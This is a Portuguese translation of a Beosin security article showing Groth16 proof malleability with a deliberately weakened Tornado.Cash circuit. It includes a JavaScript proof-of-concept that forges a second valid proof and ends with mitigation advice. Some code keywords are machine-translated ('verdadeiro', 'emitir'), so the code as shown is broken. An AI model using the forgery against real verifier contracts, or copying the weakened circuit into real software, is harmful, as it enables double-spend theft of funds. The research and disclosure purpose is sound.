No artigo anterior, explicamos teoricamente a vulnerabilidade de maleabilidade inerente ao sistema de prova Groth16.
Neste artigo, tomamos o projeto Tornado.Cash como exemplo, modificando partes de seu circuito e código para demonstrar fluxos de ataque de maleabilidade e as mitigações correspondentes do projeto, na esperança de aumentar a conscientização para outros projetos zkp. O Tornado.Cash usa a biblioteca snarkjs com o seguinte fluxo de desenvolvimento, então vamos direto ao assunto - consulte o primeiro artigo da série se você não estiver familiarizado com a biblioteca.
- A estrutura do Tornado.Cash
Existem 4 entidades principais no fluxo de interação do Tornado.Cash:
- Usuário: usa este DApp para realizar transações privadas de mistura de moedas, incluindo depósitos e retiradas.
Fonte:https://docs.circom.io/
- Página web: A página web frontend do DApp contém alguns botões de usuário.
- Relayer: para evitar que os nós da cadeia registrem informações relacionadas à privacidade, como endereços IP, este servidor reproduz as transações em nome dos usuários para aumentar ainda mais a privacidade.
- Contrato: Contém um contrato proxy Tornado.Cash Proxy, que seleciona o pool Tornado especificado com base nos valores de depósito/saque. Atualmente existem 4 pools para valores: 0,1, 1, 10, 100.
Primeiro, o usuário inicia o depósito ou retirada no frontend do Tornado.Cash. Em seguida, o Relayer encaminha a solicitação de transação para o contrato on-chain Tornado.Cash Proxy, que a encaminha para o Pool correspondente com base no valor e, finalmente, realiza o processamento de depósito/saque. A arquitetura é a seguinte:
Como misturador de moedas, o Tornado.Cash tem duas funções comerciais principais:
- Depósito: quando um usuário faz um depósito, ele primeiro seleciona o token (BNB, ETH etc) e o valor no frontend. Para melhor garantir a privacidade, apenas 4 valores predefinidos podem ser depositados.
Fonte:https://ipfs.io/ipns/tornadocash.eth/
O servidor então gera dois números aleatórios de 31 bytes – anulador (nullifier) e segredo. Concatená-los e fazer hash deles gera o commitment (compromisso). O anulador + segredo é retornado ao usuário como uma nota, conforme abaixo:
Em seguida, uma transação de depósito é iniciada, enviando o compromisso para o contrato Tornado.Cash Proxy on-chain. O proxy encaminha os dados para o Pool correspondente com base no valor do depósito. Finalmente, o contrato Pool insere o compromisso como um nó folha na árvore merkle e armazena a raiz computada no contrato Pool.
- Saque: quando um usuário faz um saque, ele primeiro insere os dados da nota retornados durante o depósito e o endereço do destinatário no frontend;
O servidor então recupera todos os eventos de depósito Tornado.Cash fora da cadeia, retira os compromissos para construir uma árvore merkle local e usa a nota fornecida pelo usuário (anulador + segredo) para gerar o compromisso e o caminho e raiz merkle correspondentes. Isto é inserido em um circuito para obter uma prova SNARK de conhecimento zero. Por fim, uma transação de saque é iniciada no contrato Tornado.Cash Proxy on-chain, que o encaminha ao Pool correspondente para verificação da prova e envia o dinheiro para o endereço de recebimento especificado pelo usuário.
O núcleo da retirada do Tornado.Cash é provar que existe um certo compromisso na árvore Merkle sem revelar o anulador e o segredo do usuário.
A estrutura da árvore Merkle é a seguinte:
2 Versão vulnerável do Tornado.Cash após modificação
2.1 Modificação Tornado.Cash
Com base no artigo anterior sobre os princípios de ataque de maleabilidade Groth16, sabemos que os invasores podem gerar várias provas diferentes usando o mesmo anulador e segredo, portanto, se os desenvolvedores não considerarem que os ataques de repetição levam a gastos duplos, isso pode ameaçar os fundos do projeto. Antes de modificar o Tornado.Cash, este artigo apresentará primeiro o código do contrato do Pool que trata das retiradas no Tornado.Cash:
/**
@dev Retira um depósito do contrato. A `prova` é um dado de prova zkSNARK e 'input' é uma matriz de entradas públicas de circuito
A matriz `input` consiste em:
- raiz merkle de todos os depósitos no contrato
- hash do anulador de depósito exclusivo para evitar gastos duplos
- o destinatário dos fundos
- taxa opcional que vai para o remetente da transação (geralmente uma retransmissão)
*/
function withdraw(
bytes calldata _proof,
bytes32 _root,
bytes32 _nullifierHash,
address payable _recipient,
address payable _relayer,
uint256 _fee,
uint256 _refund
) external payable nonReentrant {
require(_fee <= denomination, "A taxa excede o valor da transferência");
require(!nullifierHashes[_nullifierHash], "A nota já foi gasta");
require(isKnownRoot(_root), "Não foi possível encontrar sua raiz merkle"); // Certifique-se de usar um recente
require(
verifier.verifyProof(
_proof,
[uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]
),
"Prova de retirada inválida"
);
nullifierHashes[_nullifierHash] = verdadeiro;
_processWithdraw(_recipient, _relayer, _fee, _refund);
emitir Retirada(_recipient, _nullifierHash, _relayer, _fee);
}
Conforme mostrado na imagem acima, para evitar que invasores dupliquem os gastos usando a mesma Prova, sem revelar o anulador e o segredo, o Tornado.Cash adicionou um sinal público chamado nullifierHash no circuito, que é o hash Pedersen do anulador, e pode ser passado como um parâmetro na cadeia. O contrato Pool então usa esta variável para verificar se uma Prova válida foi usada antes. Porém, e se em vez de modificar o circuito, o projeto simplesmente registrasse Provas para evitar ataques de gastos duplos? Isto reduziria as restrições do circuito e economizaria custos, mas funcionaria?
Para testar esta hipótese, este artigo removerá o sinal público nullifierHash adicionado do circuito e alterará a verificação do contrato para apenas verificar a Prova. Como o Tornado.Cash recupera todos os eventos de depósito para construir a árvore merkle em cada retirada e depois verifica se os valores raiz estão entre os últimos 30 gerados, o que é complicado, este artigo também removerá o circuito merkleTree, deixando apenas a lógica de retirada principal, do seguinte modo:
include "../../../../node_modules/circomlib/circuits/bitify.circom";
include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// calcula Pedersen(anulador + segredo)
template CommitmentHasher() {
signal input nullifier;
signal input secret;
signal output commitment;
// saída de sinal nullifierHash; //excluir
component commitmentHasher = Pedersen(496);
// componente nullifierHasher = Pedersen(248);
component nullifierBits = Num2Bits(248);
component secretBits = Num2Bits(248);
nullifierBits.in <== nullifier;
secretBits.in <== secret;
for (var i = 0; i < 248; i++) {
// nullifierHasher.in[i] <== nullifierBits.out[i]; // delete
commitmentHasher.in[i] <== nullifierBits.out[i];
commitmentHasher.in[i + 248] <== secretBits.out[i];
}
commitment <== commitmentHasher.out[0];
// nullifierHash <== nullifierHasher.out[0]; // delete
}
// Verifica se o compromisso que corresponde a determinado segredo e anulador está incluído na árvore merkle de depósitos
signal output commitment;
signal input recipient; // not taking part in any computations
signal input relayer; // not taking part in any computations
signal input fee; // not taking part in any computations
signal input refund; // not taking part in any computations
signal input nullifier;
signal input secret;
component hasher = CommitmentHasher();
hasher.nullifier <== nullifier;
hasher.secret <== secret;
commitment <== hasher.commitment;
// Adicione sinais ocultos para garantir que a adulteração do destinatário ou da taxa invalidará a prova de snark
// Provavelmente não é obrigatório, mas é melhor ficar do lado seguro e são necessárias apenas 2 restrições
// Quadrados são usados para evitar que o otimizador remova essas restrições
signal recipientSquare;
signal feeSquare;
signal relayerSquare;
signal refundSquare;
recipientSquare <== recipient * recipient;
feeSquare <== fee * fee;
relayerSquare <== relayer * relayer;
refundSquare <== refund * refund;
}
component main = Withdraw(20);
Nota: Descobrimos durante os experimentos que o código mais recente do TornadoCash no GitHub não possui sinais de saída no circuito de retirada, exigindo correções manuais para funcionar corretamente.(https://github.com/tornadocash/tornado-core*)*
Com base no circuito modificado acima, seguindo o processo de desenvolvimento descrito anteriormente usando snarkjs etc, uma Prova normal é gerada, denotada como prova1:
The proof: {
pi_a: [
12731245758885665844440940942625335911548255472545721927606279036884288780352n,
11029567045033340566548367893304052946457319632960669053932271922876268005970n,
1n
],
pi_b: [
[
4424670283556465622197187546754094667837383166479615474515182183878046002081n,
8088104569927474555610665242983621221932062943927262293572649061565902268616n
],
[
9194248463115986940359811988096155965376840166464829609545491502209803154186n,
18373139073981696655136870665800393986130876498128887091087060068369811557306n
],
[1n,0n ]
],
pico: [
1626407734863381433630916916203225704171957179582436403191883565668143772631n,
10375204902125491773178253544576299821079735144068419595539416984653646546215n,
1n
],
protocol: 'groth16',
curve: 'bn128'
}
2.2 Verificação Experimental
2.2.1 Verificação com Contrato Circom Padrão
Primeiro usamos o contrato padrão gerado pelo Circom. Como ele não registra nenhuma informação de prova usada, os invasores podem reproduzir a prova1 várias vezes para realizar ataques de gasto duplo. No experimento a seguir, a prova da mesma entrada pode ser repetida inúmeras vezes e ainda assim passar na verificação.
A imagem abaixo mostra a prova1 passando na verificação do contrato padrão, incluindo os parâmetros de prova A, B, C do artigo anterior e o resultado final:
A próxima imagem mostra os resultados da chamada da função verifyProof várias vezes com a mesma prova1. O experimento descobriu que, para a mesma entrada, não importa quantas vezes prova1 seja usada pelo invasor, ela sempre passa:
O teste na biblioteca nativa snarkjs js também não protege contra provas reutilizadas, com resultados como segue:
2.2.2 Verificação com Contrato Anti-Replay Básico
Para corrigir a vulnerabilidade de repetição no contrato circom padrão, este artigo registra um valor válido do Proof (proof1) para evitar a repetição de provas já verificadas para ataques de gasto duplo, conforme mostrado abaixo:
Continuando a verificação com a prova1, o experimento constata que a transação reverte com “A nota já foi gasta” ao reutilizar a mesma prova, conforme mostrado:
No entanto,embora isso atinja o objetivo de prevenir ataques básicos de repetição de prova, conforme abordado anteriormente, Groth16 tem vulnerabilidades de maleabilidade que podem contornar isso. O PoC a seguir constrói uma prova SNARK forjada para a mesma entrada com base no algoritmo do artigo anterior e ainda passa na verificação. O código PoC para gerar prova2 forjada é:
import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"
import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"
import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"
import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";
import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";
import fs from "fs";
import { utils } from "ffjavascript";
const {unstringifyBigInts} = utils;
groth16_exp();
async function groth16_exp(){
let inputA = "7";
let inputB = "11";
const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// Converte string para int após a leitura
const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));
console.log("The proof:",proof);
// Gera elemento inverso, o inverso gerado deve estar no domínio F1
const F = new ZqField(SNARK_FIELD_SIZE);
// const F = new F2Field(SNARK_FIELD_SIZE);
const X = F.e("123456")
const invX = F.inv(X)
console.log("x:" ,X )
console.log("invX" ,invX)
console.log("The timesScalar is:",F.mul(X,invX))
// Ler curva elíptica G1, pontos G2
const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));
// console.log("A curva é:",vKey);
const curve = await curves.getCurveFromName(vKey.curve);
const G1 = curve.G1;
const G2 = curve.G2;
const A = G1.fromObject(proof.pi_a);
const B = G2.fromObject(proof.pi_b);
const C = G1.fromObject(proof.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A
const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
proof.pi_a = G1.toObject(G1.toAffine(A));
proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))
proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
// Converte os pontos G1, G2 gerados em prova
console.log("proof.pi_a:",proof.pi_a);
console.log("proof.new_pi_a:",proof.new_pi_a)
console.log("proof.new_pi_b:",proof.new_pi_b)
}
A falsificação PROOF2 gerada é mostrada abaixo:
proof.pi_a: [
12731245758885665844440940942625335911548255472545721927606279036884288780352n,
11029567045033340566548367893304052946457319632960669053932271922876268005970n,
1n
]
proof.new_pi_a: [
3268624544870461100664351611568866361125322693726990010349657497609444389527n,
2115609994255959315979089869316200635890527643480284336017680361717954148668n,
1n
]
proof.new_pi_b: [
[
2017004938108461976377332931028520048391650017861855986117340314722708331101n,
6901316944871385425597366288561266915582095050959790709831410010627836387777n
],
[
17019460532187637789507174563951687489832996457696195974253666014392120448346n,
7320211194249460400170431279189485965933578983661252776040008442689480757963n
],
[1n, 0n]
]
Novamente usando este parâmetro para chamar a função verifyProof para verificação de prova, o experimento descobriu que a mesma entrada no caso de usar a verificação de prova2 foi aprovada novamente, conforme mostrado abaixo:
Embora a prova2 falsificada só possa ser utilizada mais uma vez, uma vez que existem provas falsificadas quase ilimitadas para o mesmo insumo, isso poderia levar à retirada de fundos do contrato ilimitadamente.
O teste na biblioteca circom js também mostra a prova1 e a prova2 forjada passando na verificação:
2.2.3 Verificação com Contrato Anti-Replay Tornado.Cash
Depois de tantas tentativas fracassadas, não há como resolver isso de uma vez por todas? Aqui, seguindo o método Tornado.Cash de verificar se a entrada original foi usada, este artigo modifica ainda mais o código do contrato como:
Deve-se notar que para demonstrar mitigações simples contra ataques de maleabilidade Groth16, este artigo adota a abordagem de registrar diretamente as entradas do circuito original, o que não está em conformidade com os princípios de conhecimento zero de manter as entradas privadas. Por exemplo, em Tornado.Cash as entradas são privadas, portanto uma nova entrada pública é adicionada para identificar uma prova. Como o circuito deste artigo não adiciona um identificador, a privacidade é pior em comparação com o Tornado.Cash — esta é apenas uma demonstração experimental. Os resultados são os seguintes:
Pode-se observar que com a mesma entrada, apenas a primeira prova1 passa na verificação. Depois disso, tanto a prova1 quanto a prova2 forjada não poderão passar na verificação.
3 Resumo e recomendações
Através da modificação do circuito do TornadoCash e do uso da verificação de contrato padrão gerada pelo Circom comumente usado, este artigo verificou a existência e os riscos de vulnerabilidades de repetição. Prova ainda que o uso de medidas comuns no nível do contrato pode defender contra ataques de repetição, mas não pode impedir ataques de maleabilidade Groth16. Com base nisso, sugerimos que projetos de Prova de Conhecimento Zero observem o seguinte durante o desenvolvimento:
- Ao contrário dos DApps tradicionais que usam endereços exclusivos para gerar dados de nós, os projetos zkp normalmente usam números aleatórios combinados para gerar nós de árvore Merkle. Preste atenção se a lógica de negócios permitir a inserção de valores de nós duplicados, pois os mesmos dados de nós folha podem fazer com que alguns fundos do usuário sejam bloqueados em contratos ou os mesmos dados folha tenham várias provas Merkle, confundindo a lógica de negócios.
- Os projetos zkp registram normalmente as provas usadas em um mapeamento para evitar ataques de gasto duplo. Ao usar Groth16, existem ataques de maleabilidade, portanto a gravação deve usar dados originais do nó em vez de apenas dados de prova.
- Circuitos complexos podem ter incerteza no circuito, falta de restrições, etc., levando a condições de validação incompletas e vulnerabilidades lógicas nos contratos. Recomendamos fortemente que os projetos busquem auditorias abrangentes de empresas de auditoria de segurança bem versadas em circuitos e contratos antes do lançamento, para garantir a segurança.
A Beosin é uma empresa líder global em segurança de blockchain, cofundada por vários professores de universidades de renome mundial e conta com mais de 40 PhDs na equipe, e estabeleceu escritórios em mais de 10 cidades, incluindo Hong Kong, Cingapura, Tóquio e Miami. Com a missão de “Proteger o ecossistema Blockchain”, a Beosin fornece uma solução de segurança blockchain “tudo-em-um”, cobrindo auditoria de contrato inteligente, monitoramento e alerta de risco, KYT/AML e rastreamento de criptografia. A Beosin já auditou mais de 3.000 contratos inteligentes, incluindo os famosos projetos Web3 PancakeSwap, Uniswap, DAI, OKSwap e todos eles são monitorados pela Beosin EagleEye. O KYT AML atende mais de 100 instituições, incluindo a Binance.
Contato
Se você precisar de algum serviço de segurança blockchain, entre em contato conosco:
Website oficial Beosin EagleEye Twitter Telegrama Linkedin
Este artigo foi escrito por Beosin e traduzido por Diogo Jorge. O artigo original encontra-se aqui.
Top comments (0)